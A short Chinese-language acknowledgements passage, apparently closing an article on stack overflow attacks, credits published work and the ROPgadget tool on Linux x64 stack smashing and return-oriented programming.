感谢 jip 的文章 Stack Smashing On A Modern Linux System 和 Ben Lynn 的文章 64-bit Linux Return-Oriented Programming ,他们的文章系统的介绍了 Linux(x64)下的栈溢出攻击和防护方法。

感谢 Erik Buchanan, Ryan Roemer 和 Stefan Savage 等人对 ROP 做出的非凡的工作:Return-Oriented Programming: Exploits Without Code Injection ,ROP 攻击几乎无法阻挡,强大之中又蕴涵着优雅的美感,就像风清杨教给令狐冲的独孤九剑。

感谢 JonathanSalwan 编写的 ROPgadget ,他的工具让搜索 gadgets 的工作变得简单无比。